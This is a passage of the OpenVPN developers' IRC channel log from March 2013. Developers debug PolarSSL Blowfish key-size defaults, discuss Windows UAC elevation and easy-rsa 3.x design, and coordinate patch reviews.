*.net <-> *.split quits: @andj 10:21 -!- andj__ is now known as andj 10:26 <@cron2> setting up a new test client is a pain... 10:27 <@cron2> t_client.rc contains the IP addresses that this client is expected to receive from the server (so the "configure interface IP" code can be auto-tested) and when you mistype something you basically you re-run all tests "to be sure it's all right now" and then after 10 minutes test 10 fails... 10:28 -!- raidz_away is now known as raidz 10:35 <@cron2> syzzer: where can I find your PGP key? 10:43 <@plaisthos> pekster: I only had a brief look at the dmsg calls when I wrote the mails but verb 6 sounds fine 10:48 <@plaisthos> cron2: there is polarssl patch in the openvpn3 code that it make it recognize the BF-CBC cipher as POLARSSL_CIPHER_BF_128_CBC 10:49 * cron2 is not sure he understood that. patching polarssl? 10:49 <@plaisthos> --- polarssl-1.1.1/include/polarssl/aes.h 2011-10-06 07:11:08.000000000 -0600 10:49 <@plaisthos> +++ polarssl.new/include/polarssl/aes.h 2012-03-25 14:46:09.512604221 -0600 10:50 <@cron2> ah, so that's how James does it, he added BF to his local copy of polar 1.1 10:50 <+pekster> plaisthos: Yea, I think I found a couple (fairly minor, but they're there) calls that aren't debug at 6. 7 sounds safe. My patch is tested, so you should see it on the ML when I can shoot that off today 10:50 <@plaisthos> pekster: I will look at it when I have time 10:51 <+pekster> No worries. It's mostly becuase of your suggestion I wrote the changes to begin with; don't rush on my account ;) 10:53 <@ecrist> did mattock ever roll a windows build after d12fk fixed the latest crash issue? 10:54 <@d12fk> ecrist: i think he did but dont know if he made it public 10:56 <@cron2> I've seen I1005 on the download site 10:57 <@d12fk> if it has gui v3 thats the one 11:00 <+pekster> Looks good based on my install 11:05 <@mattock> ecrist: yes, I005 fixes the crash 11:07 <@cron2> d12fk: on a related tangent - do you ahve any idea how the openvpn tech windows clients solves the privilege issue? 11:08 <@d12fk> no never looked at it 11:08 <@cron2> I just recently discovered (by a colleague's accident) that it nicely works with 2.3 openvpn servers :-) 11:08 <+pekster> cron2: At launch you mean? 11:08 <@cron2> at run time, to install routes 11:09 <+pekster> Right. My Windows installer manifest-fu is limited, but IIRC you need to declare it as requiring admin rights in the application's manifest and it'll prompt to elevate if it lacks privs under UAC at runtime 11:09 <@cron2> I have not done *any* investigation, nor can I say whether said collegue has admin rights or not, I was just curious as the normal customer base for openvpn tech is people that you won't give admin rights to 11:10 <@cron2> pekster: so we should do that for our installer as well, no? 11:10 <@d12fk> pekster: but that's th exact wrong solution to the problem 11:10 <@cron2> lol 11:10 <@d12fk> you don't want to run openvpn as admin 11:10 <+pekster> The right solution would be to downgrade user ID, but Windows won't do that :\ 11:10 <@cron2> d12fk: as long as we do not have anything else, it's the only thing we can do. And then we need to revive your work 11:11 <+pekster> Or somehow offload sensitive ops to code that does run as an admin, but that's no small tasks either 11:11 <@d12fk> well if anyone would show up to work on the thing instead of jst bash it into the ground i'm in =) 11:11 <@cron2> d12fk has spent quite some work on that already (and got nasty remarks in exchange on the list) 11:11 <@d12fk> pekster: i've written a windows srvice that does exactly that 11:14 <+pekster> I think this is the MS reference on manifest UAC level: http://msdn.microsoft.com/en-us/library/windows/desktop/bb756929.aspx 11:14 <@vpnHelper> Title: Step 6: Create and Embed an Application Manifest (UAC) (at msdn.microsoft.com) 11:14 <@d12fk> if you're windowsy enough to comment on win32 api code i'll prepare something 11:14 * cron2 is not 11:15 <@d12fk> nonbody seems to be willing to admit that he is =) 11:15 <+pekster> I can sometimes follow along, but I'm not going to be useful for any review. I've stumbled through it once, but thesedays just use frontend scripting languages that do it in a cute on-line define :\ 11:15 <@d12fk> c'mon guys i came out as well =) 11:16 <@d12fk> we need s.th. like AA for win32 hackers 11:16 <@plaisthos> AA? 11:16 <+pekster> I think most people who get involved enough into open source tend to move away from win32, heh 11:16 <@cron2> anonymous windows hackers 11:17 <@d12fk> or maybe more like a gay pride thing, fits better 11:17 <@d12fk> windows _is_ colorful =) 11:19 <@plaisthos> I am already known in #openvpn-devel as C++ and Java programmer, why should I learn/add Windows hacker to that? d: 11:19 <@d12fk> silence! outcast! 11:21 <@d12fk> http://cdn.memegenerator.net/instances/400x/36387799.jpg 11:21 <@d12fk> how bout that 11:22 <@cron2> touching Java these days is worse than Windows, I think 11:24 <@d12fk> well, it's different classes of badness 11:24 <@d12fk> putting aside the oracle fails of recent 11:25 <@d12fk> win32 api is and feels ancient 11:29 <@plaisthos> d12fk: yeah. Perhaps in 4 years we have Oracle Enterprise Java and Google Android Java 11:30 <@d12fk> who knows, they pretty much made anyone professionally using it consider moving to s.th. different as soon as possible 11:31 <@d12fk> most likely a different java, but is there an alternative to oracle really? 11:33 <@d12fk> aren't they sueing the alternatives?! don't follow the java news too closely 11:33 <@cron2> Orrible sued Google, but I'm not sure whether they have lost already or are still struggling 11:36 <+pekster> Re: UAC manifest elevation for the GUI, stright up requiring it would preclude use under usecases where --route-up is used to do the route adition (or service/plugin based solutions to do the same.) Having it use highestAvailable might make sense, so "admins" get prompted to run it with elevated UAC ("real admin") rights, and unpriv users can still launch it with the normal drawbacks of no system admin rights 11:37 <+pekster> No clue how you'd handle it under cases where someone both has elevation rights but explicitly doesn't want to run it. Myabe they shoudln't be logged in as the admin user running the GUI? Bleh... 11:42 -!- Netsplit *.net <-> *.split quits: ender|, @cron2, +pekster, dr 11:42 -!- Netsplit over, joins: pekster 11:42 -!- mode/#openvpn-devel [+v pekster] by ChanServ 11:43 -!- ender| [krneki@2a01:260:4094:1:42:42:42:42] has joined #openvpn-devel 11:44 -!- cron2 [~gert@openvpn/community/developer/cron2] has joined #openvpn-devel 11:44 -!- mode/#openvpn-devel [+o cron2] by ChanServ 11:45 <+pekster> I don't know if that last bit of comment about highestAvailable made it prior to the connection dropouts. Not that I'm exactly an expert on the subject anyway :) 12:08 <@ecrist> yeah it came through 12:09 <+pekster> Good; I'd hate for semi-useful ramblings to get lost in the wrong tube 13:08 -!- novaflash is now known as novaflash_away 13:09 -!- novaflash_away is now known as novaflash 14:30 -!- dazo is now known as dazo_afk 16:18 -!- jgeboski [~jgeboski@unaffiliated/jgeboski] has quit [Quit: Leaving] 16:20 -!- jgeboski [~jgeboski@unaffiliated/jgeboski] has joined #openvpn-devel 18:11 -!- novaflash is now known as novaflash_away 19:32 -!- raidz is now known as raidz_away 21:00 -!- krzee [nobody@openvpn/community/support/krzee] has joined #openvpn-devel 21:00 -!- mode/#openvpn-devel [+v krzee] by ChanServ 21:10 -!- krzee [nobody@openvpn/community/support/krzee] has quit [Quit: This computer has gone to sleep] --- Day changed Wed Mar 20 2013 01:42 -!- novaflash_away is now known as novaflash 01:50 -!- dazo_afk [~dazo@openvpn/community/developer/dazo] has quit [Ping timeout: 245 seconds] 01:57 -!- dazo [~dazo@openvpn/community/developer/dazo] has joined #openvpn-devel 01:57 -!- mode/#openvpn-devel [+o dazo] by ChanServ 02:06 <@mattock> intesting... see what's on top of "Most Active Projects": http://www.ohloh.net/ 02:06 <@vpnHelper> Title: Ohloh, the open source network (at www.ohloh.net) 03:50 <@cron2> mmmh 03:51 * cron2 sees something in yesterday's logfile that could explain why the blowfish tests blew up... 03:51 <@cron2> Tue Mar 19 15:45:01 2013 Data Channel Encrypt: Cipher 'BLOWFISH-CBC' initialized with 32 bit key 03:51 <@cron2> "wut"? 04:18 <@plaisthos> 32 bit key 04:18 <@plaisthos> that sound secure 04:33 <@d12fk> is ohloh sane at all? 04:46 <@mattock> d12fk: good question 04:46 <@mattock> I guess their data gathering methods are hosed 04:47 <@d12fk> seems to be the only explanation 04:55 < Syzzer> "wut" indeed, 32 bit is the polarssl default value for blowfish... 04:55 <@cron2> seems Paul has strong ideas about the security of blowfish :-) 04:56 < Syzzer> I can either create extra translation code, or add a default keysize of 128 bit to options.c 04:56 <@cron2> how does keysize normally default if "it's not configured"? 04:56 < Syzzer> openvpn extracts the value from the ssl lib 04:57 < Syzzer> for cipher like 'aes-256' that makes sense 04:57 <@cron2> so the SSL layer has a default key size for each algorithm? 04:57 < Syzzer> yup 04:57 <@cron2> for aes-256, quite obviously :) 04:58 < Syzzer> btw, this also means that when openssl decides to change the default cipher size, openvpn instances with different openssl versions become incompatible 04:59 <@cron2> jftr, if I explicitely specify "--keysize 128", t_client tests between git+your patches+polar and openssl *work*. So there is no fundamental underlying issue, just the keysize 04:59 <@cron2> just re-ran yesterday's test 04:59 <@cron2> which is very good :-) 05:00 < Syzzer> ah, nice! 05:00 <@cron2> is there any other cipher that could run into this "key size defaults to the ssl library and it could be changed any time"? 05:00 <@cron2> 3des, aes-256, are all quite clear 05:00 < Syzzer> have to see which are supported 05:01 <@d12fk> is there a blowfish with anthing different than 128 bit keysize? 05:01 <@cron2> if we just add "keysize 128" to the options.c defaults, will that cause issues with aes-256? or will selecting the algorithm override the keysize? 05:01 <@cron2> d12fk: well, polar can do blowfish with 32 bits! 05:02 <@d12fk> good on it! =) 05:02 <@cron2> (and I'm not qualified to answer the question "is anything but 128 bits ever used out in the wild") 05:02 <@d12fk> ok 32 bit is the minimum 05:02 <@d12fk> bf supports 32-448 bits 05:03 <@d12fk> http://www.schneier.com/blowfish.html 05:03 <@vpnHelper> Title: Blowfish (at www.schneier.com) 05:04 < Syzzer> cron2: yes, just adding the default is not enough 05:07 < Syzzer> CAST5 seems to be affected too, it has no specified key size in the name, and has variable key size (40-128) 05:09 < Syzzer> ah, and RC2 (8–128 bits) 05:10 <@cron2> syzzer: mmmh. Well, we know what James wants ("a config with using openssl today should not break when used with a polar-openvpn"). I just don't know how to get there... 05:10 <@cron2> maybe the translation layer would need to set the --keysize default? 05:10 <@d12fk> 8 bit rc2? who came up with that shit? 05:10 <@cron2> but that all smells like "this code is not going to be pretty" 05:13 < Syzzer> cron2: exactly, and I don't like the sound of that. But let's see what I can do about it. 05:13 <@cron2> thanks 05:14 * cron2 really wants to see a small and lean openvpn on embedded systems, being fully compatible 05:47 < Syzzer> cleanest solution I see at this point is to override the polarssl 32 bit default with a sane 128 bit default in crypto_polarssl.c's cipher_kt_key_size function 05:52 <@cron2> that would at least isolate the change to "just two lines in a well-recognizeable spot" 05:53 <@cron2> is cipher_kt->key_lenght the "current length" or the "default length"? Or is it the current length, but we never use it for anything but "default length"? 05:53 <@cron2> (the latter) 05:57 <@cron2> ah, the source is somewhat convoluted 05:57 <@cron2> the --keysize parameter sets kt.cipher_length (if set and not 0), and the OCC check for keysize is actually using *that* 05:57 <@cron2> options.c: buf_printf (&out, ",keysize %d", kt.cipher_length * 8); 05:57 < Syzzer> yes, it's 'current length' 05:58 <@cron2> syzzer: I think your proposal would work, and be the cleanest approach 05:58 <@cron2> s/cleanest/least intrusive/ 05:58 * cron2 orders a package of comments with it, to explain why 05:58 < Syzzer> yup, although we might want to reconsider whether we want to rely on crypto lib defaults for default key sizes 05:59 * Syzzer is out for lunch 05:59 <@cron2> yes, that need to be tackled as well, but maybe nto for 2.3.1 06:26 -!- plaisthos [~arne@openvpn/community/developer/plaisthos] has quit [Remote host closed the connection] 06:27 -!- plaisthos [~arne@openvpn/community/developer/plaisthos] has joined #openvpn-devel 06:27 -!- mode/#openvpn-devel [+o plaisthos] by ChanServ 10:19 -!- raidz_away is now known as raidz 10:46 -!- krzee [nobody@openvpn/community/support/krzee] has joined #openvpn-devel 10:46 -!- mode/#openvpn-devel [+v krzee] by ChanServ 10:56 * plaisthos wonders about the obfuscation patch .... 10:56 * ecrist too 10:56 <@ecrist> something related to this iran mess? 10:56 <@plaisthos> This is not a good idea to have in openvpn and the patch also has some flaws.... 10:57 <@plaisthos> "I made a new version of the patch that is the same only against -master now"! 10:58 <@plaisthos> Putting a patch file into a git repository screams "You are doing it wrong" 11:12 <@ecrist> isn't that guy the same one that was coming onto irc about using ICMP for openvpn? 11:12 <@ecrist> he and a buddy kept trying to avoid our bans. 11:13 <@ecrist> i.e. the reason we banned freenode's web client 12:28 <+krzee> maybe someone could chime in on this subject? 12:28 <+krzee> will openvpn connect be able to be open sourced? 12:29 <+krzee> will only the IOS specific parts need to stay closed or will the whole thing need to stay closed because of the IOS store rules? 12:29 < kisom> Regardless of the quality of the patch I don't think OpenVPN should handle obfuscation, the few who needs it can just use obfsproxy or whatever it's called. 12:29 <+krzee> kisom, i agree 12:30 <+krzee> that cat/mouse game should be handled outside of openvpn 12:31 <+pekster> Yup; it's not really the "Unix (Linux) way" to build the kitchen sink into every app. "One task, one program", etc 12:31 <+krzee> although when we make it to openvpn3 i will have a different answer to that… once everything is simply modules then if someone makes a module to obfs its all good 12:31 <@cron2> krzee: openvpn connect uses the 3.0 core which will be open-sourced (and a snapshot has already been released, James is just too busy to open svn/git/wahtever) 12:31 <@cron2> krzee: the iOS part will have to be closed due to Apple NDA 12:31 <+krzee> so the android openvpn connect app will be open? 12:32 * ecrist smacks krzee 12:32 <+krzee> ya you were right ;] 12:33 <@ecrist> <-- still not just a pretty face 12:33 <+krzee> my new laptop is hardcore 12:33 <@plaisthos> krzee: maybe not the whole app but the core 12:33 < jamxNL> is the snapshot online anywhere or currently only shared with a select group ? 12:34 <@plaisthos> jamxNL: both 12:34 <@plaisthos> krzee: I have a OpenVPN for Android build that uses the same OpenVPN as OpenVPN Connect 12:34 <@plaisthos> ;) 12:35 <+krzee> haha cool! 12:35 <+krzee> any differences in battery usage or anything? 12:36 <@plaisthos> krzee: OpenVPN3 Core has fewer features than OpenVPN 2.3 at the moment 12:36 <@plaisthos> for battery life I don't expect there to be a difference 12:37 <@plaisthos> most battery life is spent when idling 12:38 <@plaisthos> the implementations might differ when you exchange a big amount of data but that is not the usual use case 12:44 <@cron2> plaisthos: do you build with polar or openssl? 12:45 <+krzee> openssl 12:45 <+krzee> (it supports blowfish) 12:45 <@cron2> so does polar :) 12:45 <+krzee> OMG 12:45 <@cron2> iOS openvpn connect is built with polar... 12:46 <+krzee> when did they finish that!? 12:46 <@cron2> krzee: where have you been yesterday and today? About all the chat here in openvpn-devel was about "openvpn 2.3.x having issues with polar and blowfish" :-) 12:46 <+krzee> my car was stolen 12:46 <+krzee> with my laptop in it 12:47 <+krzee> just got my new one last night 12:47 <+krzee> =[ 12:47 <+krzee> got the car back, but not the laptop 12:47 <+krzee> glad i encrypted the harddrives 12:49 <+pekster> plaisthos: Those changes make sense (I added the printout of supplied --verb level in a later edit, so it does look a bit weird.) Maybe, "NOTE: debug verbosity (--verb %d) is enabled but this build lacks debug support." ? 12:50 <@cron2> 1+ 12:50 <@cron2> +1 12:50 <+pekster> The comma could stay or go gramatically, although it is more intended to be a single "NOTE: X is on but Y is off" thing 12:50 <+pekster> I'm happy to remove it to save a byte of disk space :D 12:50 <+pekster> But the period stays. ;) 13:10 -!- krzee [nobody@openvpn/community/support/krzee] has quit [Read error: Connection reset by peer] 13:14 -!- krzee [nobody@openvpn/community/support/krzee] has joined #openvpn-devel 13:14 -!- mode/#openvpn-devel [+v krzee] by ChanServ 13:34 -!- krzee [nobody@openvpn/community/support/krzee] has quit [Read error: Connection reset by peer] 13:38 <@cron2> plaisthos: could you ACK again? 13:38 <@ecrist> what kind of car, krzee? 14:15 <@plaisthos> pekster: the comma is probably a BE vs AE thing 14:19 <+pekster> I try not to play favourites ;) 14:21 <@plaisthos> Favorite comma mistake be german is placing a comma before that 14:22 <@plaisthos> "I told you that you are not allowed to wear a hat" 14:26 <@ecrist> s/"$/."/ 14:27 -!- raidz [~raidz@openvpn/corp/admin/andrew] has quit [Read error: Connection reset by peer] 14:28 -!- raidz [~raidz@openvpn/corp/admin/andrew] has joined #openvpn-devel 14:28 -!- mode/#openvpn-devel [+o raidz] by ChanServ 14:49 <@plaisthos> ecrist: :) 14:52 <@ecrist> :) 16:00 <@cron2> you'll see a buildbot failure now, as my freebsd 7.4 buildslave has polarssl 1.2 now... so don't be surprised 16:00 <@vpnHelper> RSS Update - testtrac: (updated) [PATCH] Warn when using verb levels >=7 without debug <http://openvpn.git.sourceforge.net/git/gitweb.cgi?p=openvpn/openvpn-testing.git;a=commitdiff;h=58fbb8046b203ca23708c1765ee84330d8809266> 19:48 -!- raidz is now known as raidz_away 19:54 -!- krzee [nobody@openvpn/community/support/krzee] has joined #openvpn-devel 19:54 -!- mode/#openvpn-devel [+v krzee] by ChanServ 20:08 -!- krzee [nobody@openvpn/community/support/krzee] has quit [Quit: This computer has gone to sleep] --- Day changed Thu Mar 21 2013 03:27 <@cron2> andj/syzzer: does the extra configure.in apply on top of the previous patch1/5, or *instead* of it's configure.in patch? I'm a bit confused 03:28 <@cron2> there's a chunk in it checking the polar version number, reverting the error message 03:28 <@cron2> -#error invalid version PolarSSL-1.2.5 or newer required 03:28 <@cron2> +#error invalid version 03:29 <@cron2> ah 03:29 <@cron2> I think I understand (one is "inside the test.c program" and the other is "in the resulting shell script") 04:05 < Syzzer> yes, this fixes a mistake from the first patch, where I changed the error message from the test program, instead of the configure error message 04:07 <@cron2> ok, and (just to be sure) this is "patch 6/5", on top of 1-5? 04:07 < Syzzer> I've been able to dodge doing autoconf before this, hehe 04:07 < Syzzer> yes, once I was on my bike home I realised I should have made that explicit 04:09 <@cron2> well, it would have helped, but so I was forced to think about it, which is not bad either :) 04:11 <@cron2> so what about patch 7/5, working around the keysize default for blowfish? :-) 04:30 < Syzzer> yes, I think I've got a working patch, but I thought that before ;) 04:33 <@cron2> *g 05:52 <@cron2> ah, dazo is awake :-) 05:52 <@cron2> dazo: could you try syzzer#s patch 6/5 with your pkcs11 stuff? 05:52 <@dazo> sure can! 05:53 <@dazo> just need to chew a bit more on my mail queue first .... had a sick day yesterday, so a bit of catching-up to do still 05:55 <@cron2> ok, we figured out why the cipher stuff is breaking (polarssl defaults to 32 bit for --keysize, so if you add --keysize 128, it will work) 05:55 <@dazo> ahh! nice! 05:55 <@cron2> and the pkcs11 stuff is related to "how polarssl was compiled", and the new patch should break visibly at configure time if polarssl isn't "right" 05:55 <@cron2> no patch for the 32/128 bit mixup yet 05:56 <@dazo> I just quickly glanced at the -devel list and saw it needed more brain power to parse ... so I just know something happened there :) 06:10 <@cron2> syzzer: any ideas about the remaining OCC warning ("WARNING: 'cipher' is used inconsistently, local='cipher BLOWFISH-CBC', remote='cipher BF-CBC'")? 06:56 < Syzzer> yes, working on a solution :) 07:19 -!- novaflash is now known as novaflash_away 07:19 -!- novaflash_away is now known as novaflash 09:32 <@vpnHelper> RSS Update - tickets: #268: Port SVN r8225 ("On the client, allow certain peer info fields...") to Git master <https://community.openvpn.net/openvpn/ticket/268> 09:38 <@vpnHelper> RSS Update - tickets: #269: Port SVN r8219 ("Minor fix to process_ipv4_header") to Git master <https://community.openvpn.net/openvpn/ticket/269> 09:44 <@vpnHelper> RSS Update - tickets: #270: Port SVN r8121 ("Minor fixes to compression code...") to Git master <https://community.openvpn.net/openvpn/ticket/270> || #271: Port SVN r8206 ("Added support for the Snappy compression algorithm...") to Git master <https://community.openvpn.net/openvpn/ticket/271> 09:50 <@vpnHelper> RSS Update - tickets: #272: Port SVN r8126 ("Added remote-override option") to Git master <https://community.openvpn.net/openvpn/ticket/272> 10:00 <@vpnHelper> RSS Update - tickets: #270: Port SVN r8212 ("Minor fixes to compression code...") to Git master <https://community.openvpn.net/openvpn/ticket/270> 10:01 <@mattock> friendly this vpnHelper 10:08 <@ecrist> I don't know, he's kind of an ass 10:17 <@mattock> talkative, perhaps too much so 10:23 <@ecrist> I disagree 10:23 <@ecrist> we don't get man trac updates, and when we do they're in spurts 10:24 <@ecrist> s/man/many/ 10:25 <@mattock> wiki updates might be nice 10:28 <@vpnHelper> RSS Update - tickets: #273: Switching on snappy compression from a config file fails <https://community.openvpn.net/openvpn/ticket/273> 10:29 <@ecrist> we had wiki updates at one point, iirc, but I was asked to turn those off 11:00 -!- raidz_away is now known as raidz 11:32 -!- plaisthos [~arne@openvpn/community/developer/plaisthos] has quit [Remote host closed the connection] 11:32 -!- plaisthos [~arne@openvpn/community/developer/plaisthos] has joined #openvpn-devel 11:32 -!- mode/#openvpn-devel [+o plaisthos] by ChanServ 11:51 <@vpnHelper> RSS Update - tickets: #274: check_systemd_running() test needs to be more precise <https://community.openvpn.net/openvpn/ticket/274> 11:53 <@cron2> re 12:03 -!- krzee [nobody@openvpn/community/support/krzee] has joined #openvpn-devel 12:03 -!- mode/#openvpn-devel [+v krzee] by ChanServ 12:29 < Syzzer> new polar patches incoming... 12:41 < Syzzer> the patches pass t_client tests here, except for the IPv6 ones, as I'm running them from a non IPv6 enabled network... 12:42 <@dazo> Syzzer: IPv6 tests should pass too ... as it only tests IPv6 inside the tunnel 12:43 < Syzzer> hmm, I thought there are two tests connecting to an IPv6 address 12:43 <@dazo> oh, right ... that might be 12:44 < Syzzer> 1a and 2b seem to connect to an IPv6 address 12:44 <@dazo> dsommers@leo ~ $ host conn-test-server.openvpn.org 12:44 <@dazo> conn-test-server.openvpn.org has address 199.102.77.82 12:44 <@dazo> conn-test-server.openvpn.org has IPv6 address 2607:fc50:1001:5200::4 12:44 <@dazo> hmmm ... 12:44 <@dazo> We should probably split those two up into two separate host names ... so that we can test each of them individually too 12:45 < Syzzer> it says --proto tcp6-client in 1a 12:45 <@dazo> duh! 12:45 * dazo obviously haven't recovered from yesterday yet :) 12:45 < Syzzer> so should be fine after all :) 12:46 <@dazo> hmmm .... we then have different configs ... as I have no tcp6 :/ 12:46 <@dazo> never mind ... that's details right now :) 12:56 <@cron2> dazo: I added tests 1a and 2b after you got your t_client.rc file, using tcp6-client 12:57 <@dazo> ahh! that explains 12:57 <@cron2> after the polar stuff is merged, I'll add a few extra servers to conn-test-server using openvpn+polar, so we can have automatic interop testing as well 12:58 <@cron2> and then I'll redistribute a new "master sample" for t_client.rc 12:58 <@cron2> syzzer: so the old patch set is obsolete, you're sending a full new set? 13:00 <@cron2> ah, I see the mails coming in now... will review and test later or tomorrow 13:02 -!- jamesyonan [~jamesyona@c-24-9-78-222.hsd1.co.comcast.net] has joined #openvpn-devel 13:02 -!- mode/#openvpn-devel [+o jamesyonan] by ChanServ 13:02 -!- dazo is now known as dazo_afk 14:29 -!- andj [~adriaan@openvpn/community/developer/andj] has quit [Quit: Leaving] 14:30 -!- andj [~adriaan@openvpn/community/developer/andj] has joined #openvpn-devel 14:30 -!- mode/#openvpn-devel [+o andj] by ChanServ 15:55 <@cron2> the whole polarssl 1.2.x support thread is a bit of a mess right now... :-) - andj: if you could ACK the most recent versions of the patches syzzer sent, then I can mark you as "ack for all of it". I'll go and merge the stuff tomorrow in a work tree, test that, and publish separately, so you and syzzer can verify I got the *right* patches... 15:58 <@cron2> or maybe I'll poke syzzer to re-send the whole series as 1-6 in a new thread, we ack that, and merge *that* 16:02 -!- krzee [nobody@openvpn/community/support/krzee] has quit [Quit: This computer has gone to sleep] 16:18 <@andj> it's an annoyingly complex patch 16:18 <@cron2> well, the patch isn't trivial to start with, but the multiple rounds we went through for different bits of it made it even more complex :-) 16:19 <@cron2> oh 16:19 <@cron2> I missed "3b/5" when testing. But that's just %0x -> %x. 16:19 <@cron2> Yeah, "re-send all of it, please, and then ack-and-merge *that*" :-) 16:20 <@andj> that'll be tomorrow though 16:20 <@cron2> soon enough 16:21 <@cron2> (and I shouldn't merge stuff after 22:00 anyway, because then the chance of mixing up branches or commitish's or whatever goes way up :) ) 16:22 <+pekster> It's all fun and games until someone does a push… 16:22 <@andj> lol 16:23 <@cron2> that's the point :-) - the one to push would be me (unless dazo beats me to it) and I should be fully awake then - not before 10:00, not after 22:00 ;-) 16:25 <+pekster> ecrist: Speaking of which, I have an initial design on the easy-rsa 3.x stuff for intelligent sourcing of vars. It's got an edge case now where something like KEY_SIZE=1024 ./easyrsa [blah] doesn't do what it's supposed to (unless you use EASY_RSA_EXPERT,) but let me know if it doesn't otherwise do the right thing in any environment you're playing with 16:25 <+pekster> I might actuall prefer CLI switches instead of passing env-vars like that unless you really *intend* to be in "expert" mode to avoid the issue completely. Still hashing that out :) 16:25 <+pekster> +y 16:26 <@andj> pekster: on an unrelated aside, isn't it about time to update the default to 2048 bit, or has that already happened? 16:26 <+pekster> Already done. I had a patch that was applied to the 2.x tree, and my 3.x prototype already does that 16:27 <@andj> ah, nice 16:27 <+pekster> My current playground: https://github.com/QueuingKoala/easy-rsa 16:27 <@vpnHelper> Title: QueuingKoala/easy-rsa · GitHub (at github.com) 16:27 <@andj> never mind me then :) 16:27 <@andj> same goes for the sample-keys I guess, giving the right example might be good :) 16:28 <+pekster> Sure. It'd be nice to do the sample keys my new "cn_only" format, and ideally without the nsCertType too. I left that in as a default in my git code, but I may yet change that with a nice warning to encourage people to move on 16:29 <@andj> I haven't had the chance to look at your work yet, looking around now :) 16:29 <+pekster> No worries. It's still got some work to do (and doesn't auto-package itself like the 2.x stuff does) but besides PKCS#11 and sub-ca support, it should do anything 2.x does today 16:30 <@andj> respect for the fact that it's all in sh... 16:30 <+pekster> NB: sourcing is no longer necessary (I never updated the quickstart after ripping out that requirement) 16:31 <+pekster> Yea, it's not heirloom-sh compat (ie: not "true blue bourne") but neither is the 2.x code (in proper bourne, this is invalid: export foo=baz) 16:31 <+pekster> It should run under anything more modern than 25 year old shells though ;) 16:31 <+pekster> Bug reports appreciated if it doesn't 16:31 <@andj> hehe, not sure that I have a valid test case 16:32 <+pekster> I thought about making it heirloom-sh supported, but I like my local variables and $(cmd) syntax too much 16:36 <@andj> what are your plans for pkcs#11 16:36 <@andj> ? 16:37 <+pekster> If the old stuff works, it should just be a matter of porting over the pkcs11-tool stuff, although I don't have smartcards to test with 16:37 <@andj> you could try http://people.su.se/~lha/soft-pkcs11/ 16:38 <@vpnHelper> Title: Index of /~lha/soft-pkcs11 (at people.su.se) 16:38 <@andj> it's ancient, but it works as a test for OpenVPN :) 16:39 <+pekster> Thanks, bookmarked. As it stands now the previous pkcs11 support in 2.x seems a bit bolted on, but I've left all the relevant sections in vars and the openssl.cnf 16:40 <+pekster> Not sure how widely used it is since shops that use it likely have their own structure for issuing/maintaining them, but I'm sure someone out there is 16:40 <@andj> http://software.merit.edu/sst/ seems to be a newer version based on that, never tried it though 16:40 <@vpnHelper> Title: Merit Software Repository (at software.merit.edu) 16:41 <@andj> I wasn't... I did use the sub-ca functionality for testing weird crypto setups though 16:41 <+pekster> Yea, that's on my todo, and it should just be a matter of a new frontend and extfile section for the cert extensions 16:42 <+pekster> I play to leave it to the user to create the actual sub-PKI since we can't know if it'll even be on the same system (that's for the user to decide) 16:42 <+pekster> plan* 16:42 <@andj> anyway, looks good, nice to see that it's still being worked on 16:42 <+pekster> Well, it's nice to hack at this; I hated 2.x so much I wrote my own (less elegant) codebase to manage my PKIs 16:42 <+pekster> Even in its current form, I can see myself using this :) 16:42 <@andj> what was your main issue with 2.x? 16:44 <+pekster> No structure to files (dumped them all in one dir,) openssl.cnf used the tradaitional org fields, assumptions about things like hashing alg used, and lack of scriptable flexability due to hardcoded defaults in more places than necessary 16:45 <+pekster> Oh, and limited/no error checking. As friendly as openssl is about errors ;) 16:45 <@andj> those last two were the ones that annoyed me most :) 16:46 <+pekster> I can't save the user from things that "look" right but are logical errors to openssl, but I can avoid doing things that are obviously wrong. The common verify functions attempt to re-use some sanity checks where practical 16:46 <@andj> I meant the hardcoded defaults and hashing alg, but the errors are annoying too... 16:47 <+pekster> Oh :) 16:47 <@andj> Hitting enter at about the same time can be confusing :) 17:15 -!- jamesyonan [~jamesyona@c-24-9-78-222.hsd1.co.comcast.net] has quit [Quit: jamesyonan] 17:53 -!- krzee [nobody@openvpn/community/support/krzee] has joined #openvpn-devel 17:53 -!- mode/#openvpn-devel [+v krzee] by ChanServ 18:59 -!- raidz is now known as raidz_away 20:11 -!- krzee [nobody@openvpn/community/support/krzee] has quit [Quit: This computer has gone to sleep] 20:21 -!- krzee [nobody@openvpn/community/support/krzee] has joined #openvpn-devel 20:21 -!- mode/#openvpn-devel [+v krzee] by ChanServ 22:39 -!- vpnHelper [~vpnHelper@openvpn/bot/vpnHelper] has quit [Remote host closed the connection] 22:40 -!- vpnHelper [~vpnHelper@openvpn/bot/vpnHelper] has joined #openvpn-devel 22:40 -!- mode/#openvpn-devel [+o vpnHelper] by ChanServ --- Day changed Fri Mar 22 2013 01:12 -!- krzee [nobody@openvpn/community/support/krzee] has quit [Remote host closed the connection] 01:14 -!- krzee [nobody@openvpn/community/support/krzee] has joined #openvpn-devel 01:14 -!- mode/#openvpn-devel [+v krzee] by ChanServ 01:23 -!- krzee [nobody@openvpn/community/support/krzee] has quit [Quit: Leaving] 01:24 -!- krzee [nobody@openvpn/community/support/krzee] has joined #openvpn-devel 01:24 -!- mode/#openvpn-devel [+v krzee] by ChanServ 04:16 <@cron2> syzzer: cool, thanks 04:16 < Syzzer> you're welcome :) 04:17 * cron2 has to leave to a customer meeting in 13 minutes, so I won't test it right now, but will do this afternoon. 04:21 < Syzzer> hehe, ok. gl :) 04:30 <@cron2> if dazo shows up, urge him to test the new patch set with --enable-pkcs11 :-) 05:08 -!- dazo_afk is now known as dazo 06:35 * dazo pulled down patches and tries to compile 06:48 * dazo recompiles polarssl too, to test pkcs11 linking 07:12 < Syzzer> does it work as expected now? 07:33 <@dazo> all tests passed with polarssl without pkcs11 07:33 <@dazo> testing with pkcs11 now 08:08 <@cron2> dazo: cool 08:08 <@dazo> The polarssl w/pkcs11 seems to be broken :/ 08:08 <@dazo> (at least 1.2.5 on Fedora ... :/) 08:42 <@cron2> dazo: can your git-ack-am handle "multiple patches in one single mailbox file" (as git am can)? 08:46 <@dazo> cron2: nope :( git-ack takes a single patch and multiple ackers .... that's the limitation, basically 08:46 <@cron2> ok 08:46 <@dazo> and git-ack-am uses the same syntax as well 08:51 <@dazo> (could be possible to make a loop on all args ... "if file exists, add to patch list" feature ... and then take non-patches as ackers 08:51 <@cron2> nah, let's not overdo it. I think we don't have "hugely large patch sets" that often to make it worth extending (and testing :) ) these scripts. 08:52 <@dazo> true :) 08:52 < Syzzer> dazo: what is it that fails? I 